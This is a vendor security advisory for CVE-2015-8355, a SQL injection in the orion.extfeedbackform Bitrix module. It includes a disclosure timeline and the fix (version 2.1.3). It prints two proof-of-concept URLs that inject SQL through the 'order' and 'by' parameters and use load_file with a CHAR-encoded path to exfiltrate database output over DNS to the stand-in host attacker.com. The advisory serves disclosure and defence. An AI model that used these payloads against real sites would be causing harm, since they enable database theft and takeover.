SQL Injection in orion.extfeedbackform Bitrix Module

26.3k
2
5
6
2
More
2
2

Advisory ID:	HTB23280
Product:	orion.extfeedbackform Bitrix module
Vendor:	www.orion-soft.ru
Vulnerable Versions:	2.1.2 and probably prior
Tested Version:	2.1.2
Advisory Publication:	November 18, 2015 [without technical details]
Vendor Notification:	November 18, 2015
Vendor Fix:	December 11, 2015
Public Disclosure:	December 16, 2015
Vulnerability Type:	SQL Injection [CWE-89]
CVE Reference:	CVE-2015-8355
Risk Level:	Medium

CVSSv2 Base Score:	6.3 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L]
Solution Status:	Fixed by Vendor
Discovered and Provided:	High-Tech Bridge Security Research Lab
Advisory Details:
High-Tech Bridge Security Research Lab discovered two vulnerabilities in orion.extfeedbackform Bitrix module, can be exploited to execute arbitrary SQL queries and obtain potentially sensitive data, modify information in database and gain complete control over the vulnerable website. All discovered vulnerabilities require that the attacker is authorized against the website and has access to vulnerable module. However the vulnerabilities can be also exploited via CSRF, since the web application does not check origin of received requests. This means, that a remote anonymous attacker can create a page with CSRF exploit, trick victim to visit this page and execute arbitrary SQL queries in database of vulnerable website. The vulnerability exists due to insufficient filtration of input data passed via the "order" and "by" HTTP GET parameters to "/bitrix/admin/orion.extfeedbackform_efbf_forms.php" script. A remote authenticated attacker can manipulate SQL queries by injecting arbitrary SQL code. Below are two exploits for each vulnerable parameter. They are based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP address for `version()` (or any other sensitive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker). "order": http://[host]/bitrix/admin/orion.extfeedbackform_efbf_forms.php?by=ID,%28sel ect%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29, %28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28 116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29, CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29, CHAR%28111%29,CHAR%28109%29,CHAR%2892%29, CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR%2897%29, CHAR%28114%29%29%29%29+--+ "by": http://[host]/bitrix/admin/orion.extfeedbackform_efbf_forms.php?order=%28sel ect%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29, %28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28 116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29, CHAR%28101%29,CHAR%28114%29,CHAR%2846%29, CHAR%2899%29,CHAR%28111%29,CHAR%28109%29,CHAR%2892%29, CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR%2897%29, CHAR%28114%29%29%29%29+--+
How to Detect SQL Injection Vulnerabilities Website Security Test GDPR & PCI DSS Test Website CMS Security Test CSP & HTTP Headers Check WordPress & Drupal Scanning Try For Free Solution:
Update to orion.extfeedbackform 2.1.3

References:
[1] High-Tech Bridge Advisory HTB23280 - https://www.immuniweb.com/advisory/HTB23280 - SQL Injection in orion.extfeedbackform Bitrix module [2] orion.extfeedbackform - https://marketplace.1c-bitrix.ru/solutions/orion.extfeedbackform/ - Bitrix module for feedback forms. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing. [6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.

Previous Security Advisories with CWE-89:

HTB23279: Multiple SQL Injection Vulnerabilities in mcart.xls Bitrix Module

HTB23271: Multiple SQL Injections in Open Source Bike Share

26.3k
2
5
6
2
More
2
2

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.